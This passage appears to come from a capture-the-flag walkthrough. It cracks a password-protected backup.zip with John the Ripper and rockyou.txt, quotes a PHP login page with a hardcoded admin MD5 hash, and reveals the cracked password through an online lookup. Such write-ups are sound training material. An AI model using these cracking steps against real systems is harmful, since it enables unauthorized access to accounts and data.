```

Result: A file named backup.zip is found in the folder. Extraction of the archive fails as it's password protected.

Password cracking: The password can be cracked using JohntheRipper and rockyou.txt.

Extracting it's contents using the password reveals a PHP file and a CSS file. index.php contains:

<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
?>

Result: The input password is hashed and compared to the MD5 hash: 2cb42f8734ea607eefed3b70af13bbd3.

This hash can be easily cracked using an online rainbow table such as crackstation. Result: password is qwerty789
